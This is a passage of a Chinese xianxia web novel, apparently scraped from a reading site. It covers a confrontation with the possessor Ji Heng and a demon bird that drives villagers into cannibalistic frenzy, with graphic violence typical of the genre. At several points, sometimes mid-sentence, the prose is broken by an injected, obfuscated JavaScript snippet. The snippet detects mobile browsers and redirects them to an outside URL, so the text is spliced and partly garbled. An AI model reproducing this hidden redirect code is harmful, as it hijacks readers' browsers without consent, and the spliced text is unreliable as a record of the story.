甚至因为早已与原本的皮肉融在了一处,待到旧伤复发、锥心刺骨时,才能发觉这道疤痕从不曾消失,而想要再割去,就只能连着旧的新的皮肉一起剜去。 只可惜,这世间诸多执念都觉察不到,更断绝不得。 就如那个救过裴世的老妇,亲眷子孙早已过世,而她一介孤魂,分明已经了无牵挂,却日日夜夜徘徊于生前久居之处。 怎可能了无牵挂。 或许是想再看亲眷子孙最后一眼,或许是想安安稳稳守着他们的坟冢最后一程,或许是想对那位帮她报仇的小仙君道一声谢…… 如此一念,原本简简单单,可时日一久,原本单薄的笔画被一回又一回添墨描过,不知不觉,足以力透纸背。 经年积攒的恨怨怒悲无可化解,一寸一寸侵蚀神智,唯有被取而代之,唯有不再清醒,唯有肆意屠戮,才能了却执念。 这就是奇焳妖鸟,幕后之人的最后一张牌。 强大如斯,无知无觉,无人可逃。 直到一双冰冷的手覆上双耳,陆云笺才复又睁开眼。她终于听到了不同于奇焳啼鸣的声音,看到了遮天蔽日的黑夜与火光以外的景象。 那个声音说:“陆云笺,不要听,也不要去看。” 是啊…… 分明不止有怨有恨。 娘亲,哥,柳娘,另一个时空的爸妈,还有裴世。她曾许诺过,还这世间万家灯火,清平安乐。 陆云笺蓦地缓过神来,眼前重归清明。 那照翎族早逃得不知所踪,陆云笺正欲拽过裴世去追,耳边的手却倏然一松。 裴世蓦地咳出一口血,一时支撑不能,单膝跪倒在地。他避得不够快,温热的血溅了陆云笺满袖,浸透了那片紫。 陆云笺一惊:“裴世?!” 裴世眼前有些混沌,好容易才缓过来,哑声道:“我忘了……照灵鸟净化魂灵、引人转生,奇焳擅催动执念、惑人心智……二者相克,多少会有些影响。” 不待陆云笺开口,他便再度站了起来:“我没事。若我们没有猜错,那照翎族下一步应当就是去溟海了。”像是为了向陆云笺证明“没事”,裴世一抬手召出归云,与她一同腾至半空。 妖魔出世,四处瘴气阻隔,速度最快的传送阵与传送通道早已使不了,好在归云行得一如既往地快,在照翎族竭力奔向溟海时,也来到了溟海上空。 那照翎族是魂魄之身,速度并非常人能比。陆云笺定定看了下方飞速移动的白色身影片刻,瞅准时机,自归云剑上一跃而下,同时猛地掷出破月! 这一下去得快狠准,那照翎族的魂魄猛然被打碎,他只来得及微微侧过脸,露出一个意味不明的笑容。 一如既往的诡异,沾染着陌生而突兀的凄然。 这一回,他的魂魄没有再重聚,孑然存世三百二十年的魂魄,苍白浅淡得如同一缕轻烟,就此消散在空中,了无痕迹。 陆云笺抬手接过飞旋而回的破月,身影迅猛如一道匆匆刮过的风,径直奔向因照翎族魂飞魄散而脱离出来、兀自在空中飘荡的箜篌琴弦。 她纵身一跃,抬手抓向那道琴弦,然而那琴弦却如有神智一般,径自绕开了她的指尖。 陆云笺心道不妙,回身看去,见那道琴弦如同一条游鱼,悠悠游向了半空。 一旁参天巨木的一段粗壮遒劲的枝条上,不知何时立了一个身着黑袍的人,全身上下遮得很是严实,衣摆随风飘摆,如黑鸦振翅,分明是活人,却更像是鬼魅。 陆云笺转身追去,意欲在他得手之前先截住那道琴弦,然而那人轻轻一抬手,原本悠悠飘在半空的琴弦便倏然到了他手中,宛若一条细小游蛇般,缠绕在他指尖。 那人细细看了琴弦片刻,而后抬起另一手,拆开了手腕上的绷带。 那道手腕看上去几乎可称之为“诡异”,裸露的白骨之外罩着一层强行续接上的筋络,然而其间血肉都干枯了,像是寥寥几片已然荼蘼的血色花朵了无生气地附着在骨骼上,连腐烂都没了可以延伸的地方。 这道狰狞伤口永无可能愈合,干枯血肉永无可能再生,即便筋络再度续接如常,也绝无可能再使用半点术法。 金光璀璨的琴弦一点一点如同穿针一般钻入他的手腕,自筋络骨骼间游走,而后顺着手腕处的伤口游入了他体内。 手腕处的伤自然不可能好转,但箜篌琴弦自带的灵力足以让他借以施展些许术法。 他等着琴弦彻底消失在手腕处,而后再度用绷带紧紧缠住了手腕,狰狞腐烂便彻底被遮了去。 他抬起手,将遮掩住面貌的黑色兜帽摘下。他的眸色仍如从前一般浅淡,然而此时只剩了深若寒潭的冷,不再有半分温度。 他自树梢之上一跃而下,淡声道:“陆小姐,好久不见了。” “季衡。”陆云笺轻声道了一句,却不像是在唤他,反倒像是在提醒自己。 “陆小姐不必再如此唤了,我不是他。”季衡漠然地拂了拂衣袖,“这个称呼实在太过恶心。” 陆云笺冷笑道:“那你倒是说说,你是谁?” 季衡道:“我不喜欢讲故事,更不喜欢多废话。” “是吗?那可真是太遗憾了。” 话音落,破月已然悄无声息地逼近了季衡的脖颈,只差半寸便能穿喉而过。 季衡的瞳孔猝然缩成一点,好在经脉虽废,运行不了自身灵力,身法仍不曾落下,因此急忙避身闪躲,堪堪避开了破月的锋刃。 他抬手一抹颈间,果有一道不住渗血的血痕,心中一冷,却忽地笑了起来。 他抬眸死死盯住陆云笺,指尖一遍遍摩挲着脖颈间的血痕,直到将血都抹干了,才道:“我倒是不曾想到,陆小姐下手会如此迫不及待。” 陆云笺道:“不然呢?先叙叙旧?” 季衡道:“我只是有心提醒陆小姐,我附的是他的身,我若死了,他也定然是要死的。” “季衡只会比我们更觉得恶心至极。” 几句话间,陆云笺早已闪身至季衡身前,对准他的心脏,再度重重将破月刺下去。 季衡抬手格挡,破月刺破绷带,猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一时间溟海万浪翻涌、朔风狂啸,万丈冰蓝色光芒自溟海涌来,宛如千万片棱角锋锐的利刃,裹挟着破碎的天光尽数汇聚在季衡掌中。 那光华渐渐幻化成型,是一把形如嶙峋脊骨的灵弓。而后季衡抬手,只消轻轻拉弓,一道灵光凝成的灵箭便猛地贯穿了陆云笺的肩膀! 陆云笺在骤然袭来的疼痛之下终于再度定住神,抬眼见溟海已然掀起了惊涛骇浪,便暂且停了手,只道:“你不是不擅水系术法?” 季衡持着弓,也暂时没有放出下一箭:“那是他,不是我。” 陆云笺盯着他,没有再问。 即便季衡先前挟持了溟海海妖以利用溟海之力,也绝无可能利用到如此地步。 溟海天然灵气丰沛,一般人难以轻易动用,即便他擅长水系术法,也无法调动如此强大的力量,更何况溟海甚至在短时间内甘愿服从其驱使,为他化出了一件无需灌注灵力的天然灵器。 水系…… 奇焳,焳音绝,海鸟也。 海鸟…… 可即便他们能放奇焳出世,又要如何利用奇焳的力量?奇焳妖鸟,应当绝难服从于一般人的驱使。 除非是与之缔结了契约的镜阳宗季家血脉。 果然。 若是季家直系血脉,那么附身季良衢也就可以解释了,又或许,他并不能算是完完全全的季家血脉。 季良衢与奇焳后代之子,还有一半血脉,来自奇焳妖鸟。 120. 前尘烬 陆云笺抬起眼,却听季衡道:“陆小姐,我的弓箭比之你的匕首如何?” 季衡此时的神色和语气早不如初时冷然,竟有些与照翎族一般的癫狂之意。 “若说卖你们情分,这也是第三次了。” 陆云笺默然不语。 季衡没有等待,只自顾自地继续:“第一次是冬至,我原想发动灾劫,竟一时恻隐,错失良机。” 冬至日,季衡的生辰。 那一日妖魔动荡,灵气不稳,的确是个发动灾劫的好时机。 就是那一日,他意图进入怜生寺幻境、放出照翎族,却因东岳大帝像的存在而失败。也是那一日,不知为何,分明在镜阳宗或是溟海发动灾劫要有利得多,他却依照他们几人所言,在镜阳宗参与祭祖后,赶回几人身边。 那时他许了什么愿?他写下“永思不忘”时,想的又是什么? “第二次是除夕,年岁更替,是极其难得的良机。我原以为陆小姐恢复记忆后当秉持初心,尽早取了照灵骨,却不料陆小姐倒戈如此之快。” 除夕日,贺岁词,他说“盛世安平,海晏河清”时,又在想什么? “第三次……”季衡抬了抬手中灵弓,“陆小姐分明已经失去了利用价值,方才我的箭再偏一些,这世间便再难有人阻挠我了。” 陆云笺蹙着眉,声音也不如初时冷静:“……你是何时附的身?” 季衡闻言,抬眸微微一笑,像是觉得无甚必要答这一问,却仍是答道:“从一开始就是我。你们从一开始就没有见过真正的季衡。” 陆云笺的心一沉。 先前散乱不明的细节此时犹如连珠串一般串了起来,一切未解之问都豁然有了答案。 与季瑶调查溟海之事时,向陆明周请求派遣擅追踪的弟子相助,是为了接近贺江年,伺机激发其体内余毒。 暗中破坏绝杀阵,引陆云笺前往陆稷修炼的灵山,屡次助溟海海妖遁逃,助其附身燕燕,是为获取裴世体内的照灵骨,以及调动溟海的力量。 伪造同渊阁放火烧毁溟海村的假象、放出同渊阁第三层要拍卖龙鳞宝剑的讯息,是为引众人进入同渊阁。 暗中助裴世进入同渊阁,是为跟随二人获取龙鳞宝剑、偶人阵、千机阵的讯息。 怜生寺幻境中,一剑劈碎东岳大帝像,是为破除封印,放那照翎族出来。 杀死季良衢,是怕陆云笺从中发觉附身的端倪。 将陆云笺从镜阳宗地牢中放出,是为了让众仙门有理由逼云间世放出缉拿令,消除阻碍。 就连他与裴世陷入蟾蜍洞穴那回,使得毒水散开、助陆云笺破开结界,又设法令裴世的血肉被腐蚀,也是为了观察裴世体内照灵骨的状况。 从始至终……都是错的。 唯有自爆经脉、摧毁灵力、毁去掌门令那一刻,才是真真正正的季衡,他用片刻的清明神智毁去了身上堪可利用的一切。 季衡轻轻一笑,道:“说来可笑,我虽极恶心这个名字,却也不得不承认,我顶替他在这世上活了这许多年,有时也不知自己是谁。陆小姐说他会觉得恶心,殊不知与你们同行的从来都是我。他?你与裴世甚至从不曾与他谋面,竟也要替他说话?” 陆云笺看着那张熟悉又陌生的面孔,一时没有说话。 早该发觉的……能获知所有讯息,能知晓众人行踪,每一个动作都有备而来,只有他。 可若季衡被附身与季良衢被下毒、而后被附身的时日前后相差无几,那么季衡被附身时也有十五岁,为何魂灵暗换,镜阳宗却无一人察觉? 陆云笺直至此时才意识到,她与季衡相处数月,却也不能确定季衡究竟是怎样一个人,无法预知他的想法与下一步举动。 世人谈及“风华五君”,是言云间世陆小姐笑面盈盈,归云仙君阴晴不定,陆少主温和有礼,镜阳宗季小姐清雅出尘,唯独谈起季衡,只说是一位正道仙君。 他不如陆云笺身法诡谲、出手狠重,不如裴世一剑能斩数百妖魔,不如陆明周担起天下第一大派诸多事务,甚至不如与他最为相像的季瑶那般,常年穿梭民间,为百姓除祟歼邪。 他于镜阳宗弟子是遥不可及、只可远观的大师兄,于仙门百家是高高在上、不喜与人相交的季仙君,于百姓甚至无多少人能识得,又有谁会在意他身为掌门大弟子以外的生活? 有谁会在意他的生辰,在意他喜爱的吃食,在意他常常要睡到巳时才能起,在意他下意识的细微举动,在意他被附身前后本就难以察觉的差别? 原当浓墨重彩的人,偏偏就是这样平淡得近乎寡淡。 于是一点点微不足道的细微破绽、一点点无人能察的寡淡情绪一次又一次被错放,竟让原本的魂灵被掩盖八年之久…… 而唯一一次恢复神识,是毁掉自己唯一能引以为傲的灵力。 溟海倏然掀起一片万丈巨浪,水汽扑面而来,将陆云笺的思绪唤回。 季衡背对溟海,听见声响也并未回头,只将灵弓收了,道:“浪来了,不知归云仙君拿到龙鳞宝剑没有?” 陆云笺微微蹙眉,握着破月的手一紧。 上一回照翎族将燕燕带至溟海边,又掏出她的心脏、取出海妖最后一缕气息,就是为了发动溟海海难。 只是那回被封入溟海的妄尘龙鳞镇住了溟海异动,阻止了照翎族的动作,成功废去了季衡利用溟海海妖的一张牌。 而这一回,季衡亲自现身召动奇焳,以奇焳之力发动溟海海难,被封入溟海的妄尘龙鳞怕是难以阻止,那便唯有龙鳞宝剑。 可龙鳞宝剑又能彻底镇住由奇焳调动的溟海吗? 好在那片巨浪腾空后,又是一阵地动山摇,那片如同万丈峰峦凭空而起般的巨浪便毫无预兆地忽然化作细细雨雾,轻而缓地自天边落下。 陆云笺见此情形,神色稍缓,冷声道:“你这一张牌算是废了,不要高兴得太早,你还没有赢。” 季衡抬头望了一眼阴云密布的天,淡然道:“无所谓。 “如二位所料,我会同逆转时空前的海妖一样,引溟海之水毁了周边一切,二位留了龙鳞宝剑作为后手,又设了结界护着宝剑,我的确摧毁不了它。 “不过,这张牌原也无甚作用,只想着拖住二位一时半刻便好。陆小姐在此拖住我,是为了方便归云仙君召动龙鳞宝剑,焉知我在此废话,是不是为了拖住陆小姐呢?” 陆云笺道:“杀器不在我手,你堵我也无用。” “是吗?”季衡轻飘飘地收回目光,“那么陆小姐觉得,这世上除了你与归云仙君,还有谁会尽心尽力地来阻我?” 陆云笺轻笑一声,抬手捂住肩上被灵箭贯穿的伤口:“所以你觉得,修真界仙门百家会甘为案上鱼肉,任你宰割?” “否则呢?若非仙门惯会自掘坟墓,圣清结界如何会只撑得半月?陆尊主如何会早在此时就灵力不支、爆体而亡?如何会仙门百家都守不住一棵神树,让奇焳出世?” “……” “陆小姐,你早就心知肚明了。修真界早就没救了……你们妄想凭区区几人,就能救回整个修真界吗?” “有何不可。”陆云笺竭力维持着平静,淡声道,“凭你与照翎族二人,即可发动灾劫,凭我等几人,就可破除灾劫。” 季衡闻言,像是听到了什么好笑的事,忽然轻轻笑了起来。 陆云笺越过他,看向一时没有再掀起大浪的溟海,手中暗暗蓄积着灵力,绘出一道限制阵。 季衡笑道:“不是的。怎么会只有我们二人?魔王设下的诅咒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598000|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从无定时,他只不过留下了一道有力的武器,而终有一日,会有人利用他留下的妖魔,再造灾劫。而参世仙人造出了箜篌神器,却将之藏于深山,不敢轻易示人。陆小姐觉得这是为何?” 陆云笺按在肩膀伤口处的手蓦地一紧,神色却极力维持着一贯的淡漠。 “人之恶念,永远比善念要可靠得多。” 轻若鸿毛的一句,却如同万钧巨石顿时覆压在了心头。 话音落,季衡脚步一转,倏然向身后溟海掠去,与此同时,陆云笺猛地甩手放出限制阵,与溟海再度掀起的万丈巨浪轰然相撞! 远处奇焳的啼鸣仍不止不息,溟海巨浪犹如万丈獠牙咬碎天穹,啸叫着嘶吼着自天边砸落,首先吞没了那个鬼魅般的身影,而后砸碎了那道不断延伸的限制阵法。 奇焳墨黑的羽翼滑过天穹,覆去了原本黑夜中的微弱天光,又烧起了无边无际的火光。 天彻底黑了。 …… “阿娘,天上起火了。” “那不是火……”妇人惊慌地捂住孩子的耳朵,一刻也不敢抬头上望,“不要看,把眼睛闭上。” 她的双手虽紧紧贴在孩子双耳边,但整个人抖得厉害,双手便也贴得并不那么严丝合缝,这一声虽轻若蚊吟,却也清晰地钻进了孩子的双耳。 那孩子闻言将目光自天边收回,落在母亲浑浊灰白的瞳眸中。 圣清结界破后,陆云笺利用映射圣清结界的阵法将哀牢众人传送到了云间世主山,此时他们统一被安置在中孚大殿内,余下各地的修士与百姓则分散在云间世各处。 大多数百姓都聚集在一起,或是聚在云间世结界内各处山峰上,或是挤在各处大殿内,或是躲藏在云间世腾出来的弟子房中,又或者挤不进房屋内,便只能抱团站在空地,隔着一层薄如蝉翼的结界,看着外头百鬼夜行。 然而奇焳出世,任何人都有可能忽然失智,任何时刻都有可能发生自相残杀,聚在一处也并不见得全然安全,因此一小部分修士或百姓更愿意单独或三五成群地寻一隐蔽之处藏身,不教旁人发现。 这处低矮草丛没什么人经过,妇人死死拽着孩子,蹲身藏在草丛中,在明暗不定的火光与惊天动地的啸叫中瑟瑟发抖。 那孩子盯了一会儿母亲枯槁无神的脸,忽然抽噎着道:“阿娘,我怕……” “不要怕,”妇人木僵地抬着手,像是在宽慰孩子,更像是提醒自己,“这里是第一大门派,陆尊主会护着我们的。” 她又喃喃着重复了好几遍:“陆尊主会护着我们,我们只需要躲在这里,不要让他们发现,不要让那些吃人的人发现……不要出去,不要动……” 不远处又有两个扭曲癫狂的人互相撕咬起来,妇人这才意识到也不能发出声音,于是捂着孩子双耳的手往下移,交叠着捂住了孩子的嘴。 这一下按得太重,那孩子被按得仰面摔倒在地。 母亲粗糙开裂的手磨得他的脸生疼,那孩子想要说话,却只觉喘不过气,他下意识挣扎起来,母亲双手的力道却愈来愈重,他在窒息中渐渐乏了力,想要躲开母亲的手,却再挣不动了。 直到母亲的力道又渐渐轻了些,他才有机会挣脱开来,不管不顾地喊:“阿娘,你弄疼我了!” 这一喊引得不远处不少失了智的百姓都转头看过来,那孩子仍是止不住地哇哇大哭,直到他发现母亲枯坐在地,眼泪如洪流一般,淹没了苍白的脸。 母亲怔愣地望着不远处扭曲癫狂的影子,自顾自地喃喃:“不要喊……看,被发现了……被发现了啊……” 孩子有些害怕,立时止住了哭,用手戳了戳母亲,试探着唤:“阿娘……” 母亲给予他的回应是蓦地扑上来,“噗哧”一声咬断了他的喉管。 121. 弑同悲 鲜血喷溅,腥气弥漫,失智的百姓如同豺狼虎豹一般扑将上来,意欲将其分而食之。 好在一道符咒携着刺目光焰砸了过来,轰开了一片失控的人,在不及他们反应之时,一人抱起昏厥过去的孩子,转身就跑。 那人在黑夜中狼狈地边跑边喊:“这里有几个失控的人——有没有攻伐系的人来看看,还有疗愈系的朋友——这有人受伤了——” 无人有暇顾及他。 奇焳不知疲倦地在云间世地界上空盘旋,云间世结界无法隔绝其声貌,铺地盖地的黑与尖锐刺耳的啼鸣笼罩世间,世人绝望恐惧,却又避无可避。 陈端抱着濒死的孩子一路狂奔,莫说攻伐与疗愈系的修士,这一路下来,连正常未失智的人都遇不得多少。 他咬咬牙,一路朝着山顶奔去。 陈端攻伐类术法虽不强,躲避攻击却很快,于是在妖魔横行的云间世,竟然一路跌跌撞撞地直奔到了陆明周面前。 待陆明周又挥剑斩碎一只妖魔,陈端忙抱着孩子上前道:“尊主,神智清醒的百姓都转移到各处大殿和弟子住所内了,只是这个孩子受了很重的伤……” 陆明周暂时闪身到一旁,细细察看了那孩子的伤势。好在陈端用符咒暂时吊住了他一口气,否则这样一路奔上山来,这孩子早便断气了。 陆明周抬手施了疗愈咒法,为他续上气又止住血,转头望了灯火通明的中孚大殿一眼,一时竟不知能把这孩子送到何处。 默然片刻,陆明周才道:“如还发现重伤的百姓与修士,直接将他们带往药堂侍药长老处,不要在外多作逗留,也不要靠近人群聚集处。” 陈端道:“可是尊主,好多人都受了挺重的伤,侍药长老自己也受了伤,这么多人,他治得过来吗?疗愈系修士不是都在人多的地方吗?” 陆明周原不打算多费时间解释,奈何眼前一阵发黑,拄着剑才立稳,便得空解释道:“太重的血腥气会加速狂化,尚且清醒的百姓虽已用上了清心咒,但我们仍不知他们有无可能狂化。” “我知道了,”陈端有些惊惶,“尊主,您怎么了?” “我没事。”陆明周闭了闭眼,复又睁开,眼前已然有片刻模糊,“你快去。” 陈端慌慌张张地应了,护着那孩子一步三回头地奔向长老寝居。 陆明周缓了一阵,待体内灵流稳定,才又提剑斩杀妖魔。 神树之下镇压的妖魔在三百二十年前掀起了不小风浪,如今虽已沉睡数百年,威力却仍不容小觑。 云间世大部分修士都被遣往襄助各地方仙门,余下修士要么守在各百姓与受伤修士聚集之处,要么忙着处理趁机作乱的小妖小魔与狂化的百姓,只有寥寥几人能够对抗大妖魔。 陆明周刚上任掌门,与掌门令的力量尚不完全契合,因此接连消耗大量灵力,已然有些疲惫不支。 原以为云间世结界尚在,结界之内的妖魔就会渐渐平息……他又一次想错了。 奇焳销声匿迹三百余年,令修真界忘记了其威力何其巨大。 诛杀妖魔邪祟是修士之责,可奇焳出世,牵扯了太多无辜百姓。 奇焳被云间世镇压了这许多年,可云间世只知其力量巨大、又与镜阳宗季家一脉有契,却不知奇焳最擅调动人心杂念,令其失智。 只这一只妖兽,便足令修真界地覆天翻。 无人能免去贪瞋痴妄。无人能…… 陆明周将已然通体血红的云振剑捅入又一只妖魔的胸腔,遍山妖魔终于被诛杀殆尽,震天动地的嘶吼咆哮终于消失不见,转而被无处不在的低吼与诡异的悉悉索索声代替。 陆明周转头瞥了一眼灯火通明的中孚殿,来不及喘息片刻,便又匆匆奔下山。 先前大多数百姓都集中在山腰与山脚,如今尚且清醒的百姓大多被转移到了山顶,失控狂化的百姓则多被阻在原地。 奔至山腰尚未见人影,想来众修士得了令,都已将失智的百姓引往了山脚,只是不知如此究竟能否阻止失智百姓进一步狂化…… 陆明周思绪纷乱,正欲继续奔下山,却忽然听到不远处传来一阵令人毛骨悚然的声音。 这声音太特殊、太刺耳,令人难以置信,却又无可否认。 是吞肉嚼骨之声。 陆明周心中一冷,转而朝着声音来处奔去。 往日里云间世被结界笼罩,遍山总会铺上一层月辉般的淡淡金辉,如今结界虽仍在,奇焳遮天蔽日的黑羽却掩去了这层辉光,转而铺上一层黑暗与火光交替的诡异色彩。 陆明周在一明一暗交替之中,缓步朝着耸动的人影走去。 一人扑在地上疯狂撕咬吞食,另一人被他死死按在身下,一条腿及一只手臂已然消失不见,却仍不住地挣扎着。 未及反应,陆明周已凭本能拔剑捅穿了那个扭曲癫狂的人影。 这一剑一如既往地快且准,那人只来得及微微侧过头,死白的瞳眸不甘而怨怼地盯住他,温热的血飞溅而来,陆明周呆立在原地,没有躲开,被喷了满身。 人与邪祟不一样。 活人的血是温热的、鲜红的…… 云间世的掌门杀了百姓。 可他们还算是活人吗?若是活人,为何行妖魔邪祟之事?若是死人,为何体貌与常人无异? 陆明周的思索之能像是早已死去了,诛杀妖邪,救治伤者,一切只能凭借本能。 他奔上前去,见先前被撕咬的那人脖颈被咬得鲜血淋漓,已经失去了意识,再一探那人颈侧,虽仍温热,却已经不再搏动。 不过短短一瞬……他拔剑刺穿狂化的“人”时,此人也被咬断了喉管。 已经没了呼吸的身躯上汩汩流出的血仍然温热,浸透了陆明周的衣摆。 过了好半晌,他才麻木地站起身,正欲提剑往山下走去,却忽听山顶传来轰然一声巨响,与此同时,掌门令也不受控制地发烫震颤起来。 上空的奇焳妖鸟再度发出一声尖锐啼鸣,遍山便又掀起一阵癫狂嚎叫,与山石崩裂之声混在一起,如同一把利剑,直凿人的脑颅。 陆明周心中也是轰然一声,渐趋混沌的神智终于被砸得清醒了几分,他再顾不得什么活人死人,转身朝山顶掠去。 地牢坍塌了。 地牢之中关押的无论人鬼妖魔,都迫不及待地自地牢之中逃窜而出。 …… 贺江年抓着明澄剑,一路自弟子房奔往中孚殿,闪身避过无数妖魔鬼怪与狂化的修士百姓,总算看见了枯萎倒塌的神树的影子。 他顾不得穿戴御寒斗篷,只着了一件单薄中衣,周身满是尘灰与鲜血,前襟亦是一片鲜红,闪避的身手也不如往日一般灵活,却仍一反常态地没有用剑。 即便神树已倒,镇魔宝剑仍可与神树相互感应,是以在神树附近不能使用镇魔宝剑,以防其灵力过早被消耗。 镇压奇焳,只剩这一把剑了。 又一次避开一名扑上来的百姓,贺江年死死咬着牙,径直向倒伏的神树奔去。 往日轻而易举几步就能奔过去的距离,如今显得那样遥远不可及。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602579|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贺江年眼前阵阵发黑,小腿蓦地一痛,回头见是一名发狂的百姓咬住了腿,将他往后拖,便抬手放出一道光刃,却偏了道,只堪堪擦过那名百姓的脸颊。 他忍着剧痛想要爬起,却先有一人出剑刺穿了那人。天玑长老拎起贺江年,转身继续朝神树奔去。 贺江年被天玑长老拽着狂奔,却因心力不支而连连趔趄,终于在又一只鬼手拽住脚踝时滚下了山。 如此一滚,神智反倒清醒了些许,贺江年一咬牙,攀住山坡上一块突出的石块,用力往上一攀,却因双腿无力而再度滑了下去。 指尖已经磨出鲜血,再度渐趋无力。 贺江年不敢多看多想,只咬着牙死命往上爬,天玑长老终于奔过来,拉着他往上一拽。天玑长老此前诛杀数只妖魔,也有些体力不支,险些没拽住,好在贺江年借了力,总算攀了上来。 然而这短短片刻,神树周围却忽地换了一批人鬼妖魔,正是先前被关押在地牢的邪祟。 贺江年目光一转,刚瞥见抱手立在神树边的两个黑影,便倏然转开了目光。他下意识退了几步,将明澄剑往天玑长老手中一塞:“师尊,我将剑还给你……我去堵他们。” 天玑长老愕然道:“贺江年,你在说什么傻话?!我早便与你说好,这把镇魔宝剑交与你,必须由你亲自将其刺入神树,以替代神树镇压奇焳之用,你这又是在说什么胡话?” 贺江年抬起眼,死死盯住立在神树旁的云鹤与贺昀二人,却极力避开了两人死白的瞳眸。 “上一回就是我亲手把他们押回来的,这一次,还是我来。” 贺江年哑声丢下一句孤零零的话,就此将明澄剑一扔,飞身迎了上去。 贺江年虽拜天玑长老为师,可近身格斗时一招一式却总也摆不脱云贺二人的影子,三人对战,竟生出一丝铜镜相照的滑稽感来。 可一招一式再相近,也敌不过云贺二人冷漠如常,而贺江年方寸渐乱,短短时日,他手中的捆仙索就废了三根,右臂亦是筋骨错位,一时动弹不得。 他失力伏倒在地,不动声色地瞥了一眼斩杀神树旁邪祟的天玑长老。 只要再拖一会儿,就能…… 云贺二人见明澄剑不在贺江年手中,便也懒得与他纠缠,转身去截天玑长老。 贺江年盯准时机,猛地将错位的骨骼“喀”地一声拧回原位,二人听见这几乎微不可察的动静,正欲回头,却忽觉背后一凉,一道紫色灵光凝成利剑,猛然扎向云鹤的后背! 云鹤不及回身,只能下意识侧身闪避,却避无可避地被那道灵剑扎中,霎时有如寒流贯体而过,清晰地感知到灵力正一寸一寸被冻结。 贺昀闪身避开贺江年放出的另一道灵光,迅疾抬手打碎扎入云鹤后背的灵剑,就势五指成爪,宛如恶鹰扑食般擒向贺江年的脖颈。 贺江年翻身闪过,又是一道灵剑扎入贺昀体内,这一次,却不偏不倚地刺中了心脏,或许只差半寸,就…… 他仿佛忽然被一道火舌燎着了,尚不及反应,已然收了手。 若说云贺二人在贺江年的同一招数下吃两次亏已是侥幸,这一次良机错过,却不会再如此侥幸了。贺江年永远会下意识避开要害,而云鹤与贺昀却从不会手下留情。 云鹤早抬手封住了自身的灵脉以防止灵力被全部冻结,见贺江年倏然撤手、一时怔愣之际,已然一手成爪,直掏贺江年心脏! 温热的血喷溅开来,贺江年的双目被突如其来的鲜红一刺,再睁眼时,眼前已是一片模糊的红,几乎不能视物。 122. 俱作尘 云鹤像是有些疑惑地歪了歪头,手上微微使力,将尚且温热、仍在跳动、兀自粘连着筋络血管的心脏捏得爆裂开来,鲜红再度扑了满面。 贺江年木然地缓缓低下头,瞥见一片已然空空荡荡、血肉模糊的胸腔,一时失声。 待回过神来时,只听见自己在唤:“师尊……师尊……” 天玑长老放出最后一道灵光,将云鹤与贺昀斥出数丈,又将他们困在限制阵法中。 云鹤再度歪了歪头,像是在疑惑此人为何还能使用术法。天玑长老回过身来,贺江年这才看见他的双手也已经脉尽断,唯有如此,才能使出最后一击。 天玑长老咬住一口血,尽管鲜血早已染红了整张面庞:“贺江年……我方才……将拦在神树前的东西都杀尽了……我将毕生灵力都注入……镇魔宝剑……你……” 贺江年茫然地护住天玑长老心口,已然无法思考,只无力地喃喃道:“师尊……为什么非得是我?为什么一定得是我……为什么要把剑给我……” “用镇魔宝剑镇压奇焳……可得奇焳全副灵力……”天玑长老的声音愈来愈轻,“灾劫还没完……贺江年……我不……放心你……” 贺江年等着师尊说下去,可天玑长老的声音就此戛然而止,再无声息。 天玑长老一生寡言,这几句或许已经说尽了,可贺江年总觉得师尊还有未尽之言,总觉得不明不白,无始无终。若是还有机会再说,师尊会说什么? 第一句话一定是…… 贺江年,用镇魔宝剑镇压奇焳。 贺江年猛然回过神,攥紧了天玑长老推进自己怀中的明澄剑,朝着神树所在之处拔腿狂奔。 天玑长老为他、为镇魔宝剑、为这世间铺平了道路,总算一路妖魔无阻。 上空又是一声尖锐鸟鸣,贺江年的心绪却比任何时候都更为坚定,他双手死死握住明澄剑剑柄,快而重地朝枯萎倒地的神树树干刺下! 然而就在剑尖即将没入树干的那一瞬,贺江年忽觉腰上一重,像是被人狠踹了一脚,而后整个人猛地飞砸出去,自山坡上滚落,明澄剑也摔落在一旁。 这一下摔得太厉害,贺江年想要起身去拾明澄,只微微一动,却仿佛觉得浑身骨骼俱碎,伸手一摸,摸见一截穿透血肉刺出来的肋骨。 四周黑压压地涌上来又一波人影,前一刻还颤颤巍巍躲在中孚殿内的百姓、昔日一同练武修习的同门,此刻都张牙舞爪地扑过来,意欲置他于死地。 中孚殿内拥挤的人群霎时去了数十人,如同汹涌浪潮一般朝贺江年扑了过去。 守在中孚殿内的众修士心存怜悯地望了一眼倒地起不得的贺江年,却先一步松了一口气。还好这一批狂化的人都挤着往外去了……否则殿内还不知要死多少人,又会乱成什么样。 牺牲一人,护住殿内数百人,是值得的罢。 为首的修士不忍再看殿外的景象,一抬手又将护住中孚殿的防御结界加强了一层,而后护着众人往大殿深处退去。 然而没退几步,忽然有人道:“是不是把那把剑插到那棵树上就行了?我去行不行?” 